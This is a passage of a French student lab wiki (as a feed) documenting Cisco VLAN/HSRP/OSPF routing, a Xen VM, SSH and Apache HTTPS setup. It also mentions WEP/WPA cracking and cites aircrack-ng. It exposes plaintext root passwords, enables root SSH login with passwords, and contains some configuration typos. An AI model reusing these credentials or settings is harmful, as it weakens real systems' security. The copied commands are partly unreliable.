  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51588</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51588"/>
				<updated>2019-12-07T03:29:00Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Description de l'installation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
